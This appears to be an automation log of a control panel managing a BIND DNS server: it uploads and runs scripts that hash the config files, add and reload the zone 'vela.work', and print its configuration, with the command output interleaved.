MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:50:34: Establishing a connection
2026-03-14 11:50:34: Establishing a connection
2026-03-14 11:50:34: 

PUT: /tmp/pkp693477

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:50:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp693477; rm /tmp/pkp693477'

2026-03-14 11:50:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:50:35: 

PUT: /tmp/pkp381426

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '9102cebf40552256181ade1b5794bce9'
ZONE_NAME = 'vela.work'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-14 11:50:35: 

chmod 755 /tmp/pkp381426; /tmp/pkp381426; rm /tmp/pkp381426

2026-03-14 11:50:38: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-14 11:50:38: 

PUT: /tmp/pkp285218

#!/bin/bash
rndc reload vela.work 2>&1


2026-03-14 11:50:38: 

chmod 755 /tmp/pkp285218; /tmp/pkp285218; rm /tmp/pkp285218

2026-03-14 11:50:38: 


zone reload up-to-date


2026-03-14 11:50:38: Establishing a connection
2026-03-14 11:50:38: 

PUT: /tmp/pkp840501

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:50:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp840501; rm /tmp/pkp840501'

2026-03-14 11:50:39: 
2026-03-14 11:50:39: 

PUT: /tmp/pkp425696

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf')
    show_file('/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:50:39: 

chmod 755 /tmp/pkp425696; /tmp/pkp425696; rm /tmp/pkp425696

2026-03-14 11:50:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf	206
# this is an automatically created file: manual changes will be overwritten.
zone "vela.work" IN {
  ##owner 4;
  type master;
  file "9102cebf40552256181ade1b5794bce9.txt";
    allow-update { none; };

};


